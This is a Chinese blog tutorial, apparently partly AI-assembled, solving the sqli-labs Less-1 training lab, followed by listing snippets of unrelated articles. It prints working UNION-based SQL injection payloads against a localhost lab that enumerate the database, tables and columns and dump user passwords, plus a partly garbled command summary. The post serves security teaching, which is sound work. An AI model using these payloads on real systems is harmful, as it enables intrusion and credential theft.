news 2026/8/2 4:21:59

sqli-labs-master/Less-1靶场实战解析|包含AI整理

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs-master/Less-1靶场实战解析|包含AI整理

🧪 SQL注入入门:sqli-labs-master/Less-1靶场实战解析

嘿!看到你想学习渗透测试,这太棒了!SQL注入是渗透测试的基础技能之一,sqli-labs-master的Less-1就是个绝佳的入门靶场。我来给你详细讲解这个靶场的渗透过程和思路,帮你轻松入门!

🔍 靶场基本情况

Less-1是一个字符型SQL注入靶场,需要单引号闭合。页面要求我们输入id参数,通过SQL注入获取数据库信息。


🧪 渗透测试全过程(详细步骤)

1️⃣ 判断注入类型(基础判断)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=1

    • ✅ 页面正常显示(说明参数有效)
  • 输入http://localhost/sqli-labs-master/Less-1/?id=1'

    • ❌ 报错:You have an error in your SQL syntax...(单引号未闭合导致语法错误)
  • 输入http://localhost/sqli-labs-master/Less-1/?id=1' --+

    • ✅ 页面正常显示(说明是字符型注入,可用--+注释掉后面的单引号)

💡判断技巧:字符型注入需要单引号闭合,数字型不需要。字符型注入用',数字型用AND 1=1测试。


2️⃣ 确定字段数量(关键步骤)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

    • ✅ 页面正常(说明至少有3列)
  • 输入http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

    • ❌ 报错:Unknown column '4' in 'order clause'(说明只有3列)

💡为什么用order byorder by可以用来探测字段数量,通过逐步增加数字直到报错确定实际列数。


3️⃣ 确定回显位置(关键位置)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
    • ✅ 页面显示:Your Login name:2 Your Password:3
    • 🤔 结论:第2列显示username,第3列显示password

💡为什么用-1id=-1确保原查询无结果,这样联合查询的结果才会显示出来。如果用id=1,原查询有结果,联合查询的数据会被忽略。


4️⃣ 爆破数据库信息

  • 数据库名http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+

    • ✅ 结果:security(数据库名)
  • 数据库版本http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 --+

    • ✅ 结果:10.2.26-MariaDB-log(数据库版本)
  • 当前用户http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,user(),3 --+

    • ✅ 结果:root@localhost(当前数据库用户)

5️⃣ 爆破表名(从information_schema获取)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
    • ✅ 结果:emails,referers,uagents,users(数据库中的表名)

💡关键知识点information_schema是MySQL内置的系统数据库,包含所有元数据。


6️⃣ 爆破字段名(users表的字段)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
    • ✅ 结果:id,username,password(users表的字段名)

💡为什么用group_concat?因为SQL查询默认返回多行,group_concat将结果聚合为一行显示。


7️⃣ 爆破数据(获取用户名和密码)

  • 输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,'~',password),3 from users --+
    • ✅ 结果:Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,...(所有用户名和密码)

💡 核心知识点总结

📌 SQL注入基础

  • 字符型注入:需要单引号闭合(如id=1'
  • 数字型注入:不需要单引号(如id=1 AND 1=1
  • 闭合技巧--+(MySQL中常用注释符,注释掉后面的单引号)

📌 SQL注入常用函数

函数作用示例
database()获取当前数据库名database()
version()获取数据库版本version()
user()获取当前数据库用户user()
group_concat()聚合查询结果为一行group_concat(username, '~', password)
SLEEP()使查询暂停用于时间盲注

📌 MySQL系统数据库

  • information_schema:MySQL内置的系统数据库,包含所有元数据
    • tables表:table_schema(数据库名)、table_name(表名)
    • columns表:column_name(字段名)

📌 联合查询技巧

  • union select:将两个查询结果合并
  • 关键技巧id=-1确保原查询无结果,让联合查询结果显示
  • 字段匹配:联合查询的列数必须与原查询匹配

💪 学习建议

  1. 先理解原理:不要只记命令,要理解为什么需要order byunion select
  2. 动手实践:在自己的环境中搭建sqli-labs靶场,亲自操作
  3. 逐步深入:Less-1是入门,Less-2是数字型注入,Less-3是报错注入,逐步挑战
  4. 安全第一:只在授权的靶场环境中练习,不要尝试攻击他人系统

🌟小提醒:SQL注入是基础技能,但实际渗透中还有更多类型(如盲注、时间盲注、宽字节注入等),建议先掌握Less-1,再挑战其他关卡。


📚 附:Less-1靶场完整SQL命令清单

-- 判断注入类型?id=1' --+ (字符型注入) -- 确定字段数 ?id=1'orderby3--+ (3列正常)?id=1' order by 4 --+ (4列报错) -- 确定回显位置 ?id=-1'unionselect1,2,3--+ (回显位置2、3)-- 爆库名?id=-1' union select 1,database(),3 --+ -- 爆表名 ?id=-1'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema='security'--+-- 爆字段名?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ -- 爆数据 ?id=-1'unionselect1,group_concat(username,'~',password),3fromusers--+

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/2 4:04:20

基于vue的农产品商城系统的设计与实现_x8a7zv8r_springboot php python nodejs

目录具体实现截图项目介绍论文大纲核心代码部分展示项目运行指导结论源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作具体实现截图 本系统(程序源码数据库调试部署讲解)同时还支持java、ThinkPHP、Node.js、Spring B…

作者头像 李华
网站建设 2026/8/1 19:59:33

计算机毕业设计springboot电子病例系统 基于SpringBoot的智慧医疗病历管理平台 SpringBoot驱动的数字化门诊病历云系统

计算机毕业设计springboot电子病例系统a62vfg20 (配套有源码 程序 mysql数据库 论文) 本套源码可以在文本联xi,先看具体系统功能演示视频领取,可分享源码参考。“排队三小时,看病三分钟”曾是不少患者的真实写照,纸质病…

作者头像 李华
网站建设 2026/8/1 18:26:37

windows系统深度学习环境配置

目录 一、windows安装git 三、更新CUDA驱动 3.1 更新驱动 3.2 看CUDA版本号 3.3 看文档 四、安装VS 4.1 安装vs2019或者2022 4.2 配置MSVC的环境变量 五、安装CUDA和cuDNN 5.1 下载cuda安装程序 5.2 安装CUDA 5.3 安装cuDNN 5.4 检查cuda版本 六、安装vscodeanac…

作者头像 李华
网站建设 2026/8/2 1:20:02

毕设项目 深度学习yolo11水果识别系统(源码+论文)

文章目录 0 前言1 项目运行效果2 课题背景2.1. 课题背景2.1.1 农业现代化与智能化需求2.1.2 计算机视觉在农业中的应用发展2.1.3 目标检测技术演进2.1.3.1 传统图像处理阶段(2000-2012)2.1.3.2 机器学习阶段(2012-2016)2.1.3.3 深…

作者头像 李华
网站建设 2026/8/2 1:57:36

孤能子视角:认知的“第一瞥”––认知框架、语言与思维

(继续探讨人工智能的"认知"。姑且当科幻小说看)我的问题:1.重温中西文明认知模式––"外观"与"内理"。2.你没明白我的意思:当初对世界的看法–认知是否有边界–思维和语言。我们的关系性,西方的实体性。3.你可以在看看其他文明&#…

作者头像 李华
网站建设 2026/8/1 14:31:59

无人船的Smith - PID跟踪控制探索

基于无人船的smith-pid跟踪控制资料。 首先,针对pid进行了改进,有传统pid,最优pid和基于smith的pid三种控制方式。 然后还在smithpid基础上设计了LOS的曲线跟踪方法。 (有对应参考文献)。 有意者可直接联系&#xff0c…

作者头像 李华